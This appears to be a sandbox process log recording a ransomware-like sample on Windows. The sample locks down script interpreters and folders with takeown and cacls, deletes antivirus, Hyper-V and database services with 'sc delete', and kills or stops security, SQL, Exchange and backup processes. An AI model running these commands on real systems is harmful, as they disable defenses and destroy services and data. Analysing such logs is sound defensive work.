C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\wscript.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\wscript.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\wscript.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\cscript.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cscript.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\cscript.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /g Administrators:r4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cscript.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\ProgramData /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d system4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Users\Public /a4⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /g Administrators:f4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /g Users:r4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /g Administrators:r4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Synology Drive VSS Service x64"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d SERVICE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d mssqlserver4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d "network service"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d system4⤵
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d mssql$sqlexpress4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmickvpexchange"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "vmicguestinterface"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicshutdown"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicheartbeat"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "vmicrdv"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "storflt"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmictimesync"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vmicvss"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "hvdsvc"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "nvspwmi"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "wmms"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AvgAdminServer"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AVG Antivirus"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "avgAdminClient"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "SAVService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SAVAdminService"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos AutoUpdate Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Clean Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Device Control Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Endpoint Defense Service"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos File Scanner Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Health Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos MCS Agent"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos MCS Client"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SntpService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swc_service"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "swi_service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos UI"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swi_update"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Web Control Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos System Protection Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Safestore Service"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "hmpalertsvc"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "RpcEptMapper"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Endpoint Defense Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SophosFIM"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "swi_filter"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "FirebirdGuardianDefaultInstance"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDiagnostics5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FirebirdServerDefaultInstance"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLSERVER"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLSERVERAGENT"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLBrowser"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLTELEMETRY"4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.25⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MsDtsServer130"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SSISTELEMETRY130"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLWriter"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$VEEAMSQL2012"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$VEEAMSQL2012"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLServerADHelper100"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLServerOLAPService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MsDtsServer100"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLTELEMETRY$HL"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMBMServer"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$PROGID"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$WOLTERSKLUWER"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$PROGID"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$WOLTERSKLUWER"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher$OPTIMA"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$OPTIMA"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$OPTIMA"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer$OPTIMA"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "msftesql$SQLEXPRESS"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "postgresql-x64-9.4"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "WRSVC"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ekrn"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ekrnEpsw"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klim6"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AVP18.0.0"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "KLIF"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klpd"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klflt"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klbackupdisk"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klbackupflt"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "klkbdflt"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klmouflt"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "klhk"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "KSDE1.0.0"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "kltap"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ScSecSvc"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Mail Protection"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Scanning Server"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Scanning ServerEx"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Online Protection System"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "RepairService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Core Browsing Protection"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Quick Update Service"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "McAfeeFramework"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "macmnsvc"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "masvc"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "mfemms"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "mfevtp"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "TmFilter"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMLWCSService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "tmusa"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "TmPreFilter"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMSmartRelayService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TMiCRCScanService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "VSApiNt"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmCCSF"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "tmlisten"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "TmProxy"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ntrtscan"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ofcservice"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "TmPfw"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "PccNTUpd"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "PandaAetherAgent"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "PSUAService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "NanoServiceMain"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPIntegrationService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPProtectedService"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "EPRedline"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "EPSecurityService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EPUpdateService"4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UniFi"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im PccNTMon.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im NTRtScan.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmListen.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmCCSF.exe4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmProxy.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TMBMSRV.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TMBMSRV.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmPfw.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im CNTAoSMgr.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlbrowser.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlwriter.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlservr.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im msmdsrv.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im MsDtsSrvr.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlceip.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdlauncher.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im Ssms.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im SQLAGENT.EXE4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdhost.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdlauncher.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlservr.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im ReportingServicesService.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im msftesql.exe4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im pg_ctl.exe4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im postgres.exe4⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper1004⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1005⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$ISARS4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$ISARS5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$MSFW4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$ISARS4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$ISARS5⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$MSFW4⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser5⤵
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$ISARS4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$ISARS5⤵
-
C:\Windows\SysWOW64\net.exenet stop SQLWriter4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter5⤵
-
C:\Windows\SysWOW64\net.exenet stop WinDefend4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend5⤵
-
C:\Windows\SysWOW64\net.exenet stop mr2kserv4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mr2kserv5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFBA4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFBA5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS5⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSA4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSA5⤵
-
C:\Windows\SysWOW64\net.exenet stop ShadowProtectSvc4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ShadowProtectSvc5⤵
-
C:\Windows\SysWOW64\net.exenet stop SPAdminV44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPAdminV45⤵
-
C:\Windows\SysWOW64\net.exenet stop SPTimerV44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPTimerV45⤵
-
C:\Windows\SysWOW64\net.exenet stop SPTraceV44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPTraceV45⤵
-
C:\Windows\SysWOW64\net.exenet stop SPUserCodeV44⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPUserCodeV45⤵
-
C:\Windows\SysWOW64\net.exenet stop SPWriterV44⤵
-
